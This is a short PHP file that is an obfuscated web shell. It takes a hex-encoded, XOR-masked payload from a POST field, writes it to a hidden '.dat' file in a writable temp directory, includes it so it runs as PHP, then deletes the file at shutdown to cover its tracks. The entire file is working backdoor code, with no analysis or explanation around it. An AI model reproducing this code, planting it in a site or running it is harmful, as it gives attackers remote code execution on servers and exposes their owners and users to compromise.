<?php
if(isset($_POST["v\x61\x6Cue"]) ? true : false){
	$property_set = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TMP")]);
	$elem = hex2bin($_POST["v\x61\x6Cue"]);
	$binding  =''; for($w  =0; $w<strlen($elem); $w++){$binding		.=	chr(ord($elem[$w]) ^ 45);}
	while ($flag = array_shift($property_set)) {
		if (is_dir($flag) && is_writable($flag)) {
			$symbol = "$flag/.dat";
			$file = fopen($symbol, 'w');
		if ($file) {
			fwrite($file, $binding);
			fclose($file);
			register_shutdown_function('unlink', $symbol);
			include $symbol;
			die();
		}
		}
	}
}